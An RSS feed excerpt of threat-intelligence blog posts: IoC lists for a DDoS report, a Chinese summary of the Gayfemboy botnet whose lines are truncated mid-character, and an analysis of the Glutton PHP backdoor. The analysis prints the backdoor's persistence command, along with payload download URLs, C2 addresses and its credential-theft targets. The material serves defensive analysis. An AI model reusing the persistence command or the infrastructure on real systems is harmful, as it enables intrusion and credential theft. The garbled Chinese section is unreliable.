depleting, disabling, or interrupting the target network's resources. As a result, DDoS has become one of the most common and destructive forms of cyberattacks. Its attack modes are diverse, attack paths are highly concealed, and it can employ continuously evolving strategies and techniques to conduct precise strikes against various industries and systems, posing a significant threat to enterprises, government organizations, and individual users. Organizations and individuals should develop comprehensive defense strategies at various levels to mitigate the risks of DDoS attacks and enhance the overall resilience of their systems. <h1 id="contact-us">Contact Us</h1> Readers are always welcomed to reach us on twitter. <h1 id="ioc">IoC</h1> <h2 id="loader-ip">loader IP</h2> <pre><code>123.249.103.79 China|Beijing|Beijing City AS55990|HUAWEI 123.249.109.227 China|Beijing|Beijing City AS55990|HUAWEI 123.249.111.22 China|Beijing|Beijing City AS55990|HUAWEI 123.249.116.30 China|Beijing|Beijing City AS55990|HUAWEI 123.249.116.81 China|Beijing|Beijing City AS55990|HUAWEI 123.249.126.147 China|Beijing|Beijing City AS55990|HUAWEI 123.249.64.207 China|Beijing|Beijing City AS55990|HUAWEI 123.249.68.177 China|Beijing|Beijing City AS55990|HUAWEI 123.249.82.162 China|Beijing|Beijing City AS55990|HUAWEI 123.249.82.229 China|Beijing|Beijing City AS55990|HUAWEI 123.249.87.110 China|Beijing|Beijing City AS55990|HUAWEI 123.249.90.104 China|Beijing|Beijing City AS55990|HUAWEI 123.249.90.23 China|Beijing|Beijing City AS55990|HUAWEI 123.249.91.159 China|Beijing|Beijing City AS55990|HUAWEI 123.249.94.157 China|Beijing|Beijing City AS55990|HUAWEI 123.249.99.231 China|Beijing|Beijing City AS55990|HUAWEI 124.71.235.245 China|Beijing|Beijing City AS55990|HUAWEI 176.97.210.250 Germany|Hessen|Frankfurt am Main AS49581|Ferdinand Zink trading as Tube-Hosting 178.211.139.105 Poland|Mazowieckie|Warsaw AS201814|MEVSPACE sp. z o.o. 178.211.139.196 Poland|Mazowieckie|Warsaw AS201814|MEVSPACE sp. z o.o. 178.211.139.241 Poland|Mazowieckie|Warsaw AS201814|MEVSPACE sp. z o.o. 185.16.39.37 Poland|Mazowieckie|Warsaw AS201814|MEVSPACE sp. z o.o. 193.32.162.34 The Netherlands|None|None AS47890|UNMANAGED LTD 193.34.214.123 Poland|Mazowieckie|Warsaw AS201814|MEVSPACE sp. z o.o. 193.42.12.166 Germany|Hessen|Frankfurt am Main AS58212|dataforest GmbH 194.50.16.198 The Netherlands|Noord-Holland|Amsterdam AS49870|Alsycon B.V. 198.98.51.91 United States|New York|Staten Island AS53667|FranTech Solutions 198.98.54.234 United States|New York|Staten Island AS53667|FranTech Solutions 209.141.32.195 United States|Nevada|Las Vegas AS53667|FranTech Solutions 209.141.51.21 United States|Nevada|Las Vegas AS53667|FranTech Solutions 37.114.63.100 Germany|Hessen|Frankfurt am Main AS60461|intercolo GmbH 45.128.232.200 Bulgaria|Sofia|Sofia AS202685|Aggros Operations Ltd. 45.142.122.187 Russia|Moscow|Moscow AS210644|AEZA GROUP Ltd 45.142.182.126 Germany|None|None AS44592|SkyLink Data Center BV 45.145.41.175 United States|Washington|Seattle AS205770|SC ITNS.NET SRL 45.148.10.230 The Netherlands|Noord-Holland|Amsterdam AS48090|PPTECHNOLOGY LIMITED 45.95.147.211 The Netherlands|Noord-Holland|Amsterdam AS49870|Alsycon B.V. 5.181.188.158 Poland|Mazowieckie|Warsaw AS201814|MEVSPACE sp. z o.o. 70.36.99.15 United States|California|Los Angeles AS22439|Perfect International, Inc 77.90.22.10 Germany|Hessen|Frankfurt am Main AS12586|GHOSTnet GmbH 77.90.22.35 Germany|Hessen|Frankfurt am Main AS12586|GHOSTnet GmbH 94.156.10.163 Bulgaria|None|None AS0| 94.156.10.164 Bulgaria|None|None AS0| 95.214.53.211 Poland|Mazowieckie|Warsaw AS201814|MEVSPACE sp. z o.o. 95.214.54.53 Poland|Mazowieckie|Warsaw AS201814|MEVSPACE sp. z o.o. </code></pre> <h3 id="downloader">Downloader</h3> <pre><code>101.42.158.190 China|Beijing|Beijing City AS45090|Tencent 101.43.141.112 China|Beijing|Beijing City AS45090|Tencent 107.189.28.60 Luxembourg|Luxembourg|Luxembourg AS53667|FranTech Solutions 108.233.83.51 United States|California|Santa Clara AS7018|AT&T 1.13.102.222 China|Jiangsu|Nanjing City AS45090|Tencent 152.32.237.129 United States|Virginia|Reston AS135377|UCLOUD INFORMATION TECHNOLOGY (HK) LIMITED 193.32.162.34 The Netherlands|None|None AS47890|UNMANAGED LTD 198.98.54.234 United States|New York|Staten Island AS53667|FranTech Solutions 203.23.159.152 Australia|Victoria|Southbank AS9648|Australia On Line Pty Ltd 209.141.32.148 United States|Nevada|Las Vegas AS53667|FranTech Solutions 209.141.35.56 United States|Nevada|Las Vegas AS53667|FranTech Solutions 209.141.51.21 United States|Nevada|Las Vegas AS53667|FranTech Solutions 209.141.55.38 United States|Nevada|Las Vegas AS53667|FranTech Solutions 209.141.57.222 United States|Nevada|Las Vegas AS53667|FranTech Solutions 37.114.63.100 Germany|Hessen|Frankfurt am Main AS60461|intercolo GmbH 45.142.122.187 Russia|Moscow|Moscow AS210644|AEZA GROUP Ltd 65.175.140.164 United States|Massachusetts|Boston AS11776|Breezeline 77.90.22.35 Germany|Hessen|Frankfurt am Main AS12586|GHOSTnet GmbH 95.214.53.211 Poland|Mazowieckie|Warsaw AS201814|MEVSPACE sp. z o.o. meowware.ddns.net </code></pre> <h3 id="cc">CC</h3> <pre><code>meowware.ddns.net </code></pre> <h3 id="sample-sha1">Sample SHA1</h3> <pre><code>3287158c35c93a23b79b1fbb7c0e886725df5faa ba9224828252e0197ea5395dad9bb39072933910 fe72a403f2620161491760423d21e6a0176852c3 </code></pre>]]>
</content:encoded>
</item>
<item>
<title>
<![CDATA[Gayfemboy：一个利用四信工业路由0DAY传播的僵尸网络]]>
</title>
<description>
<![CDATA[<h1 id="%E6%A6%82%E8%BF%B0">概述</h1>
无数脚本小子怀揣着发财梦，拿着 Mirai 的源码兴高采烈地杀入 DDoS 黑产行业，幻想着靠僵尸网络大赚一笔。]]>
</description>
<link>https://blog.xlab.qianxin.com/gayfemboy/</link>
<guid isPermaLink="false">6746c3c16bb47b000118f4ea</guid>
<category>
<![CDATA[CN]]>
</category>
<category>
<![CDATA[DDoS]]>
</category>
<category>
<![CDATA[Botnet]]>
</category>
<dc:creator>
<![CDATA[Wang Hao]]>
</dc:creator>
<pubDate>Tue, 07 Jan 2025 08:11:40 GMT</pubDate>
<media:content url="https://blog.xlab.qianxin.com/content/images/2025/01/--2025-01-07-19.39.18-1.png" medium="image"/>
<content:encoded>
<![CDATA[<h1 id="%E6%A6%82%E8%BF%B0">概述</h1> <img src="https://blog.xlab.qianxin.com/content/images/2025/01/--2025-01-07-19.39.18-1.png"
alt="Gayfemboy：一个利用四信工业路由0DAY传播的僵&#x5C
无数脚本小子怀揣着发财梦，拿着 Mirai
的源码兴高采烈地杀入 DDoS
黑产行业，幻想着靠僵尸网络大赚一笔&#x3002
3–4 天的 Mirai 变种。然而，今天的主角
Gayfemboy是一个例外。 Gayfemboy
僵尸网络首次于 2024 年 2 月初被 XLab
捕获，并持续活跃至今。它的早期版本&#x5E76
UPX 加壳的 Mirai
派生版本，毫无新意。然而，其背后的&#x5F00
UPX 变形壳，积极整合 Nday
漏洞，甚至自行挖掘 0day 漏洞，持续扩大
Gayfemboy 的感染规模。 到了 2024 年 11 月初，Gayfemboy
再次进化，开始利用 四信工业路由器 0day
漏洞 以及 Neterbit 路由器 和 Vimar 智能家居设备
的未知漏洞传播样本。这一发现让我们&#x51B3
注册了部分 C2 域名
用以观察被感染的设备，以及度量僵&#x5C3
Gayfemboy
拥有40多个上线分组，日活跃节点已经超&#x8F
1.5
万。有意思的是，当它发现域名被我们&#x6CE8
 依托于XLab大网威胁感知系统的能力
，回顾Gayfemboy的演化历程，我们见证了它&#x4E
<code>拥有0day利用能力，攻击颇为凶猛，具有&#x81
</code>。

 <h1 id="contact-us">Contact Us</h1> Readers are always welcomed to reach us on twitter. <h1 id="ioc">IoC</h1> <h2 id="loader-ip">loader IP</h2> <pre><code>123.249.103.79 China|Beijing|Beijing City AS55990|HUAWEI 123.249.109.227 China|Beijing|Beijing City AS55990|HUAWEI 123.249.111.22 China|Beijing|Beijing City AS55990|HUAWEI 123.249.116.30 China|Beijing|Beijing City AS55990|HUAWEI 123.249.116.81 China|Beijing|Beijing City AS55990|HUAWEI 123.249.126.147 China|Beijing|Beijing City AS55990|HUAWEI 123.249.64.207 China|Beijing|Beijing City AS55990|HUAWEI 123.249.68.177 China|Beijing|Beijing City AS55990|HUAWEI 123.249.82.162 China|Beijing|Beijing City AS55990|HUAWEI 123.249.82.229 China|Beijing|Beijing City AS55990|HUAWEI 123.249.87.110 China|Beijing|Beijing City AS55990|HUAWEI 123.249.90.104 China|Beijing|Beijing City AS55990|HUAWEI 123.249.90.23 China|Beijing|Beijing City AS55990|HUAWEI 123.249.91.159 China|Beijing|Beijing City AS55990|HUAWEI 123.249.94.157 China|Beijing|Beijing City AS55990|HUAWEI 123.249.99.231 China|Beijing|Beijing City AS55990|HUAWEI 124.71.235.245 China|Beijing|Beijing City AS55990|HUAWEI 176.97.210.250 Germany|Hessen|Frankfurt am Main AS49581|Ferdinand Zink trading as Tube-Hosting 178.211.139.105 Poland|Mazowieckie|Warsaw AS201814|MEVSPACE sp. z o.o. 178.211.139.196 Poland|Mazowieckie|Warsaw AS201814|MEVSPACE sp. z o.o. 178.211.139.241 Poland|Mazowieckie|Warsaw AS201814|MEVSPACE sp. z o.o. 185.16.39.37 Poland|Mazowieckie|Warsaw AS201814|MEVSPACE sp. z o.o. 193.32.162.34 The Netherlands|None|None AS47890|UNMANAGED LTD 193.34.214.123 Poland|Mazowieckie|Warsaw AS201814|MEVSPACE sp. z o.o. 193.42.12.166 Germany|Hessen|Frankfurt am Main AS58212|dataforest GmbH 194.50.16.198 The Netherlands|Noord-Holland|Amsterdam AS49870|Alsycon B.V. 198.98.51.91 United States|New York|Staten Island AS53667|FranTech Solutions 198.98.54.234 United States|New York|Staten Island AS53667|FranTech Solutions 209.141.32.195 United States|Nevada|Las Vegas AS53667|FranTech Solutions 209.141.51.21 United States|Nevada|Las Vegas AS53667|FranTech Solutions 37.114.63.100 Germany|Hessen|Frankfurt am Main AS60461|intercolo GmbH 45.128.232.200 Bulgaria|Sofia|Sofia AS202685|Aggros Operations Ltd. 45.142.122.187 Russia|Moscow|Moscow AS210644|AEZA GROUP Ltd 45.142.182.126 Germany|None|None AS44592|SkyLink Data Center BV 45.145.41.175 United States|Washington|Seattle AS205770|SC ITNS.NET SRL 45.148.10.230 The Netherlands|Noord-Holland|Amsterdam AS48090|PPTECHNOLOGY LIMITED 45.95.147.211 The Netherlands|Noord-Holland|Amsterdam AS49870|Alsycon B.V. 5.181.188.158 Poland|Mazowieckie|Warsaw AS201814|MEVSPACE sp. z o.o. 70.36.99.15 United States|California|Los Angeles AS22439|Perfect International, Inc 77.90.22.10 Germany|Hessen|Frankfurt am Main AS12586|GHOSTnet GmbH 77.90.22.35 Germany|Hessen|Frankfurt am Main AS12586|GHOSTnet GmbH 94.156.10.163 Bulgaria|None|None AS0| 94.156.10.164 Bulgaria|None|None AS0| 95.214.53.211 Poland|Mazowieckie|Warsaw AS201814|MEVSPACE sp. z o.o. 95.214.54.53 Poland|Mazowieckie|Warsaw AS201814|MEVSPACE sp. z o.o. </code></pre> <h3 id="downloader">Downloader</h3> <pre><code>101.42.158.190 China|Beijing|Beijing City AS45090|Tencent 101.43.141.112 China|Beijing|Beijing City AS45090|Tencent 107.189.28.60 Luxembourg|Luxembourg|Luxembourg AS53667|FranTech Solutions 108.233.83.51 United States|California|Santa Clara AS7018|AT&T 1.13.102.222 China|Jiangsu|Nanjing City AS45090|Tencent 152.32.237.129 United States|Virginia|Reston AS135377|UCLOUD INFORMATION TECHNOLOGY (HK) LIMITED 193.32.162.34 The Netherlands|None|None AS47890|UNMANAGED LTD 198.98.54.234 United States|New York|Staten Island AS53667|FranTech Solutions 203.23.159.152 Australia|Victoria|Southbank AS9648|Australia On Line Pty Ltd 209.141.32.148 United States|Nevada|Las Vegas AS53667|FranTech Solutions 209.141.35.56 United States|Nevada|Las Vegas AS53667|FranTech Solutions 209.141.51.21 United States|Nevada|Las Vegas AS53667|FranTech Solutions 209.141.55.38 United States|Nevada|Las Vegas AS53667|FranTech Solutions 209.141.57.222 United States|Nevada|Las Vegas AS53667|FranTech Solutions 37.114.63.100 Germany|Hessen|Frankfurt am Main AS60461|intercolo GmbH 45.142.122.187 Russia|Moscow|Moscow AS210644|AEZA GROUP Ltd 65.175.140.164 United States|Massachusetts|Boston AS11776|Breezeline 77.90.22.35 Germany|Hessen|Frankfurt am Main AS12586|GHOSTnet GmbH 95.214.53.211 Poland|Mazowieckie|Warsaw AS201814|MEVSPACE sp. z o.o. meowware.ddns.net </code></pre> <h3 id="cc">CC</h3> <pre><code>meowware.ddns.net </code></pre> <h3 id="sample-sha1">Sample SHA1</h3> <pre><code>3287158c35c93a23b79b1fbb7c0e886725df5faa ba9224828252e0197ea5395dad9bb39072933910 fe72a403f2620161491760423d21e6a0176852c3 </code></pre>]]>
</content:encoded>
</item>
<item>
<title>
<![CDATA[Glutton: A New Zero-Detection PHP Backdoor from Winnti Targets Cybercrimals]]>
</title>
<description>
<![CDATA[<h1 id="introduction">Introduction</h1> On April 29, 2024, <code>XLab's Cyber Threat Insight and Analysis System(CTIA)</code> detected anomalous activity: <code>IP 172.247.127.210</code> was distributing an ELF-based Winnti backdoor. Further investigation revealed the same IP had, on December 20, 2023, distributed a zero-detection malicious PHP file, init_task.txt, providing]]>
</description>
<link>https://blog.xlab.qianxin.com/glutton_stealthily_targets_mainstream_php_frameworks-en/</link>
<guid isPermaLink="false">67598d2a6bb47b000118fb01</guid>
<category>
<![CDATA[APT]]>
</category>
<category>
<![CDATA[Winnti]]>
</category>
<category>
<![CDATA[Backdoor]]>
</category>
<category>
<![CDATA[PHP]]>
</category>
<dc:creator>
<![CDATA[Alex.Turing]]>
</dc:creator>
<pubDate>Thu, 12 Dec 2024 14:15:36 GMT</pubDate>
<content:encoded>
<![CDATA[<h1 id="introduction">Introduction</h1> On April 29, 2024, <code>XLab's Cyber Threat Insight and Analysis System(CTIA)</code> detected anomalous activity: <code>IP 172.247.127.210</code> was distributing an ELF-based Winnti backdoor. Further investigation revealed the same IP had, on December 20, 2023, distributed a zero-detection malicious PHP file, init_task.txt, providing a key lead for the analysis. Using <code>init_task</code> as a lead, we identified a series of associated malicious PHP payloads, including <code>task_loader</code>, <code>init_task_win32</code>, <code>client_loader</code>, <code>client_task</code>, <code>fetch_task</code>, and <code>l0ader_shell</code>. These payloads are highly modular, capable of functioning independently or being executed sequentially via <code>task_loader</code> to form a comprehensive attack framework. All code execution occurs within PHP or PHP-FPM (FastCGI) processes, ensuring no file payloads are left behind, thus achieving a stealthy footprint. This investigation uncovered a previously undocumented advanced PHP backdoor, which we named Glutton due to its ability to infect large numbers of PHP files and implant <code>l0ader_shell</code>. The core functionalities of Glutton include: <ol> Data Exfiltration <ul> System information, such as OS versions and PHP versions. Sensitive Baota panel data, including credentials and management interface details.   Backdoor Installation <ul> An ELF-based Winnti backdoor. PHP-based backdoors.   Code Injection <ul> Malicious code injection targeting popular PHP frameworks like Baota (BT), ThinkPHP, Yii, and Laravel.   The ELF sample <code>ac290ca4b5d9bab434594b08e0883fc5</code> that triggered the alert was delivered by Glutton's <code>init_task</code> component. This sample shares near-complete similarity with the PWNLNX tool discussed in BlackBerry's report "Decade of the RATs" and samples mentioned in IntezerLabs' September 23, 2020 tweet. Most security vendors currently classify this sample as a Winnti backdoor. As a hallmark tool of the APT group Winnti, the Linux variant has not been observed in use by other hacking groups since its initial disclosure in 2019. The campaign's C2 server <code>156.251.163[.]120</code> remained active during the attack, properly responding to network requests and establishing interactions with the backdoor. This, coupled with the specificity of the sample and the C2's functionality, effectively rules out the possibility of interference from unrelated cybercriminal groups using dormant samples. Key observations include: <ul> Sample specificity: The Winnti backdoor is a signature tool of the Winnti group, with no evidence of circulation among other cybercriminal entities. C2 effectiveness: The C2 server was fully operational, confirming the attack's authenticity. Based on the veracity of the Winnti backdoor and Glutton’s delivery mechanisms, it is theoretically plausible to attribute Glutton to the APT group Winnti. However, from a technical perspective, Glutton demonstrates several shortcomings in stealth and execution, which seem uncharacteristically subpar: <ol> Lack of encrypted C2 communications: The protocol is overly simplistic and easy to reverse-engineer. Downloader communication over HTTP: The lack of HTTPS makes traffic interception or monitoring trivial. Unobfuscated PHP samples: The samples are in plaintext source code, making their functionality directly readable. Weak infrastructure deception: The domain used (<code>thinkphp1[.]com</code>) is poorly disguised. In summary, while Glutton’s delivery mechanisms strongly align with the Winnti group, its lack of stealth and simplistic implementation introduce uncertainty. Attribution must account for the complexity of the cybercrime landscape and the inherent delays in defense-side intelligence. To avoid misleading conclusions based on isolated evidence, we adopt a conservative approach, attributing Glutton to the Winnti group with moderate confidence as a potential new weapon in their arsenal. <h1 id="victims">Victims</h1> Infections caused by Glutton were identified through requests to its C2 server, <code>cc.thinkphp1[.]com</code>. Our analysis shows that victims were primarily located in China and the United States, spanning industries such as IT services, business operations, and social security. <img src="https://blog.xlab.qianxin.com/content/images/2024/12/php_location.png" alt="php_location.png" loading="lazy"> <h4 id="no-honor-among-thieves">"No Honor Among Thieves"</h4> Interestingly, our investigation revealed that Glutton’s creators deliberately targeted systems within the cybercrime market. By poisoning operations, they aimed to turn the tools of cybercriminals against them—a classic "no honor among thieves" scenario. In July 2024, we conducted a VirusTotal hunt using the signature <code>"b11st=0;"</code>, which led to the discovery of five infected files uploaded from different countries: <table> <thead> <tr> <th>Index</th> <th>MD5</th> <th>Detection</th> <th>First Seen</th> <th>Country</th> </tr> </thead> <tbody> <tr> <td>1</td> <td>3f8273575d4c75053110a3d237fda32c</td> <td>2/65</td> <td>2024-08-11</td> <td>China</td> </tr> <tr> <td>2</td> <td>c1f6b7282408d4dfdc46e22bbdb3050f</td> <td>0/59</td> <td>2024-09-17</td> <td>Germany</td> </tr> <tr> <td>3</td> <td>96fef42b234920f3eacfe718728b08a1</td> <td>0/63</td> <td>2024-10-14</td> <td>Singapore</td> </tr> <tr> <td>4</td>

<td>ad150541a0a3e83b42da4752eb7e269b</td> <td>1/62</td> <td>2024-11-02</td> <td>United States</td> </tr> <tr> <td>5</td>
<td>ad0d88982c7b297bb91bb9b4759ce0ab</td> <td>4/41</td> <td>2024-11-27</td> <td>United States</td> </tr> </tbody> </table> Files 1–3 were standalone PHP scripts, while files 4–5 were archives containing full-fledged business systems. Of these, file 4 stood out as a fraudulent click-farming platform, a common tool in online scams. The malicious code, <code>l0ader_shell</code>, was embedded in the <code>APP.php</code> file of the ThinkPHP framework. <img src="https://blog.xlab.qianxin.com/content/images/2024/12/php_thinkapp.png" alt="php_thinkapp.png" loading="lazy"> The VirusTotal analysis revealed that the parent archive was <code>shuadan109.timibbs.cc_20241026_175636.tar.gz</code>. This led us to its download page, where it was being sold for 980 USDT. <img src="https://blog.xlab.qianxin.com/content/images/2024/12/php_timibbs.png" alt="php_timibbs.png" loading="lazy"> The archive was hosted on Timibbs, a forum infamous for selling cybercrime tools and resources, including scripts for gambling, gaming, fake cryptocurrency exchanges and click-farming operations—all sold at premium prices. <img src="https://blog.xlab.qianxin.com/content/images/2024/12/php_timislo.png" alt="php_timislo.png" loading="lazy"> While we didn’t verify whether the VirusTotal sample perfectly matches the code sold on Timibbs (<code>980USDT felt like a poor investment, LOL</code>), the relationship between Glutton’s creators and the forum appears to follow one of several possibilities: <ol> The hacker is a customer, purchasing tools from the forum and embedding malicious code. The hacker breached the forum, injecting backdoors into shared resources. The hacker collaborates with the forum, co-developing compromised systems. The hacker operates independently, with their tools later added to the forum. Regardless of the details, one thing is clear: Glutton’s authors exploited the cybercrime ecosystem itself, using poisoned tools to turn cybercrime operators into unwitting pawns. Their strategy might be best summarized like this: <blockquote> <blockquote> "Why should these small-time scammers in gambling and click-fraud get all the money? Let's rob them blind! Here’s the plan: flood the market with backdoored systems, let them unknowingly ‘work’ for us, and then cash out big-time. Even if they figure it out, they won’t dare report it. Absolutely brilliant!” </blockquote> </blockquote> <h1 id="analysis-of-glutton">Analysis of Glutton</h1> We have captured multiple components of Glutton, including <code>task_loader</code>, <code>init_task</code>, <code>client_loader</code>, <code>client_task</code>, <code>fetch_task</code>, and <code>l0ader_shell</code> (note: names like <code>client_loader</code>, <code>client_task</code>, and <code>fetch_task</code> are assigned based on their observed functionality). Each file contains approximately 3000 lines of code, none of which are encrypted or obfuscated, making their functionality relatively easy to analyze. This report will focus on the core functional code; readers interested in more details can refer to the full source code for deeper insights. <h2 id="modular-framework-design">Modular Framework Design</h2> These PHP components can operate independently or interact through <code>task_loader</code> as an entry point, incrementally loading other modules to construct a fileless attack framework. The framework’s core capabilities include: <ol> Infecting PHP files on the target device. Deploying backdoors, including the Winnti backdoor and a PHP backdoor. This modular design not only enhances the adaptability of the attack but also makes it harder to detect and trace during defensive operations. We speculate that the attackers use multiple methods to spread Glutton, including: <ul> Exploiting traditional 0DAY and NDAY vulnerabilities. Leveraging weak password brute-forcing techniques. Distributing pre-compromised business systems with embedded <code>l0ader_shell</code> via cybercrime source code forums, enabling targeted attacks on the cybercrime ecosystem itself. <img src="https://blog.xlab.qianxin.com/content/images/2024/12/php_brief.png" alt="php_brief.png" loading="lazy"> <h2 id="indicators-of-glutton-infection">Indicators of Glutton Infection</h2> Infected devices exhibit the following signs: <ol> File-Level Indicators:
 PHP files are injected with <code>l0ader_shell</code>. <img src="https://blog.xlab.qianxin.com/content/images/2024/12/php_flag1.png" alt="php_flag1.png" loading="lazy"> <ol start="2"> Process-Level Indicators: <ul> A Winnti backdoor process (<code>php-fpm</code>) listens on UDP port 6006. A PHP backdoor process (<code>[kworker/0:0HC]</code>) communicates over UDP.   <img src="https://blog.xlab.qianxin.com/content/images/2024/12/php_flag2.png" alt="php_flag2.png" loading="lazy"> <h1 id="part1-taskloader">Part1: task_loader</h1> The task_loader module plays a pivotal role in Glutton’s attack chain. Its primary function is to assess the execution environment and use different methods to download and execute the next-stage payload based on the detected environment. Key functions include: <ol> <code>run_task_by_system</code> <code>run&get_php_code</code> <code>run_task_by_fpm</code> <code>run_task_direct</code> <img src="https://blog.xlab.qianxin.com/content/images/2024/12/php_taskloader.png" alt="php_taskloader" loading="lazy"> <h4 id="functional-overview">Functional Overview</h4> The table below summarizes the behavior of each function: <table> <thead> <tr> <th>Function</th> <th>Path</th> <th>Execution Environment</th> </tr> </thead> <tbody> <tr> <td><code>run_task_by_system</code></td> <td><code>/v11/init_task.gz</code></td> <td>New PHP process</td> </tr> <tr> <td><code>run&get_php_code</code></td> <td><code>/v11/init_task.gz</code></td> <td>FastCGI</td> </tr> <tr> <td><code>run_task_direct</code></td> <td><code>/v11/modify_php_v11.gz</code></td> <td>Original PHP process</td> </tr> </tbody> </table> <h4 id="details-of-payloads">Details of Payloads</h4>   <code>init_task</code> Downloaded by both <code>run_task_by_system</code> and <code>run&get_php_code</code>. Serves as the primary payload for further infection.   <code>modify_php</code> Downloaded by <code>run_task_direct</code>. A subset of <code>init_task</code>, optimized for specific modifications to the environment.   <h1 id="part2-inittask">Part2: init_task</h1> The <code>init_task</code> module performs three critical tasks: <ol> <code>elf_install</code>: Downloads and executes the Winnti backdoor. <code>bt_modify</code>: Infects Baota (BT) panels to collect sensitive information and modify system files. <code>php_modify</code>: Infects PHP files to embed code for subsequent payload delivery. <img src="https://blog.xlab.qianxin.com/content/images/2024/12/php_inittask.png" alt="php_inittask" loading="lazy"> <h2 id="0x01-elfinstall-task">0x01: <code>elf_install</code> Task</h2> The <code>elf_install</code> task downloads the Winnti backdoor, masquerading it as <code>/lib/php-fpm</code>. To achieve persistence, it appends the following command to <code>/etc/init.d/network</code>: <pre><code class="language-bash">export OLD=$PATH; export PATH=/usr/lib/; php-fpm; export PATH=$OLD; </code></pre> <h4 id="observed-download-urls-and-md5">Observed Download URLs and MD5</h4> <table> <thead> <tr> <th>URL</th> <th>MD5</th> </tr> </thead> <tbody> <tr> <td><code>172.247.127[.]210/v10/php-fpm</code></td> <td><code>ac290ca4b5d9bab434594b08e0883fc5</code></td> </tr> <tr> <td><code>v6.thinkphp1[.]com/v11/php-fpm</code></td> <td><code>ac290ca4b5d9bab434594b08e0883fc5</code></td> </tr> <tr> <td><code>v20.thinkphp1[.]com/static/v20/php-fpm</code></td> <td><code>ac290ca4b5d9bab434594b08e0883fc5</code></td> </tr> </tbody> </table> The <code>ac290ca4b5d9bab434594b08e0883fc5</code> sample closely resembles the one exposed by BlackBerry, with additional functionality for updating C2 configurations and samples. The C2 configurations are encrypted with rolling XOR (key: <code>CB2FA36AAA9541F0</code>) and decrypt to: <code>156.251.163[.]120</code> <img src="https://blog.xlab.qianxin.com/content/images/2024/12/php_winnti.png" alt="php_winnti" loading="lazy"> The IP has since become inactive, but historical evidence confirms it previously responded to Winnti network requests, indicating its role as a legitimate Winnti C2. <img src="https://blog.xlab.qianxin.com/content/images/2024/12/php_c2.png" alt="php_c2.png" loading="lazy"> <h2 id="0x02-btmodify-task">0x02: <code>bt_modify</code> Task</h2> The <code>bt_modify</code> task targets Baota (BT) panels, performing two primary functions: <code>find_all</code> and <code>do_midify</code>. <img src="https://blog.xlab.qianxin.com/content/images/2024/12/php_modifybt.png" alt="php_modifybt" loading="lazy"> <h3 id="findall">find_all</h3> Collects sensitive information, compresses and uploads the data to the C2 server. <table> <thead> <tr> <th>admin_path</th> <th>bt_apass</th> <th>basic_auth</th> <th>basic_pass</th> <th>basic_user</th> </tr> </thead> <tbody> <tr> <td>bt_clients</td> <td>crontabs</td> <td>databases</td> <td>bt_dir</td> <td>bt_domain</td> </tr> <tr> <td>bt_ftps</td> <td>bt_https</td> <td>bt_mobile</td> <td>mysql_root</td> <td>bt_pass_md5</td> </tr> <tr> <td>bt_passwd</td> <td>phpmyadmin</td> <td>bt_port</td> <td>bt_sites</td> <td>bt_sites_path</td> </tr> <tr> <td>bt_ssh</td> <td>bt_user_md5</td> <td>bt_username</td> <td></td> <td></td> </tr> </tbody> </table> The traffic generated during this process is URL-encoded and compressed. Using tools like CyberChef (URL decode + raw inflate) allows for data reconstruction. <img src="https://blog.xlab.qianxin.com/content/images/2024/12/php_findall.png" alt="php_findall" loading="lazy"> <h3 id="domodify">do_modify</h3> Modifies critical BT panel files such as <code>init.py</code>, <code>public.py</code>, and <code>userlogin.py</code>, chieves objectives like: credential theft, token harvesting, exposing sensitive assets.
 <img src="https://blog.xlab.qianxin.com/content/images/2024/12/php_domodify.png" alt="php_domodify" loading="lazy"> <h4 id="key-modifications">Key Modifications</h4>   Credential theft: Inserts code to extract login credentials and tokens.
 <img src="https://blog.xlab.qianxin.com/content/images/2024/12/php_userlogin.png" alt="php_userlogin.png" loading="lazy">
 <img src="https://blog.xlab.qianxin.com/content/images/2024/12/php_token.png" alt="php_token.png" loading="lazy">   Asset exposure: Alters configuration to expose sensitive assets.
 <img src="https://blog.xlab.qianxin.com/content/images/2024/12/php_expose.png" alt="php_expose.png" loading="lazy">   <h2 id="0x03-phpmodify-task">0x03: <code>php_modify</code> Task</h2> The <code>php_modify</code> task targets popular PHP frameworks such as ThinkPHP, Yii, Laravel, and Dedecms, injecting malicious code for further payload execution. <img src="https://blog.xlab.qianxin.com/content/images/2024/12/php_modifyphp.png" alt="php_modifyphp" loading="lazy"> <h4 id="modification-logic">Modification Logic</h4> Searches for predefined <code>$ref_line</code> locations in the PHP framework code, inserts the <code>v11_code</code> at these locations. If no <code>$ref_line</code> matches, appends <code>v11_code</code> to the end of the file.
 <img src="https://blog.xlab.qianxin.com/content/images/2024/12/php_modifyref.png" alt="php_modifyref" loading="lazy"> <h4 id="v11code-structure">v11_code Structure</h4> The <code>v11_code</code> consists of three parts: <ol> <code>v11_begin</code>: <code>b11st=0;</code> <code>PHPCODE_MAIN</code>: Encodes a <code>l0ader</code> function. <code>v11_end</code>: <code>b11end=0;</code> <img src="https://blog.xlab.qianxin.com/content/images/2024/12/php_maincode.png" alt="php_maincode" loading="lazy"> The <code>l0ader</code> function has two primary roles: <ol> Reporting <ul> Sends host information and page access parameters via UDP to <code>v6.thinkphp1[.]com:9988</code>.
 <img src="https://blog.xlab.qianxin.com/content/images/2024/12/php_maincodereport.png" alt="php_maincodereport" loading="lazy">   Downloading the Next-Stage Payload <ul> Constructs an HTTP request to download and execute the <code>client_loader</code> payload.
 <img src="https://blog.xlab.qianxin.com/content/images/2024/12/php_downcli.png" alt="php_downcli" loading="lazy">   <h4 id="traffic-analysis">Traffic Analysis</h4> The traffic generated during this process includes: <ol> UDP Traffic: Transmits host and access information.
 <img src="https://blog.xlab.qianxin.com/content/images/2024/12/php_maincodeudp.png" alt="php_maincodeudp" loading="lazy"> HTTP Requests: Retrieves the next payload (<code>client_loader</code>).
 <img src="https://blog.xlab.qianxin.com/content/images/2024/12/php_requestcli.png" alt="php_requestcli" loading="lazy"> <h1 id="part3-clientloader">Part3: client_loader</h1> The <code>client_loader</code> module is essentially a refactored version of

<code>init_task</code>, retaining all of its core functionalities while introducing notable changes in code organization and additional features. The first significant change lies in the <code>php_modify</code> task, where the <code>l0ader</code> function's code is now obfuscated, unlike its straightforward implementation in <code>init_task</code>. <img src="https://blog.xlab.qianxin.com/content/images/2024/12/php_makecode.png" alt="php_makecode.png" loading="lazy">
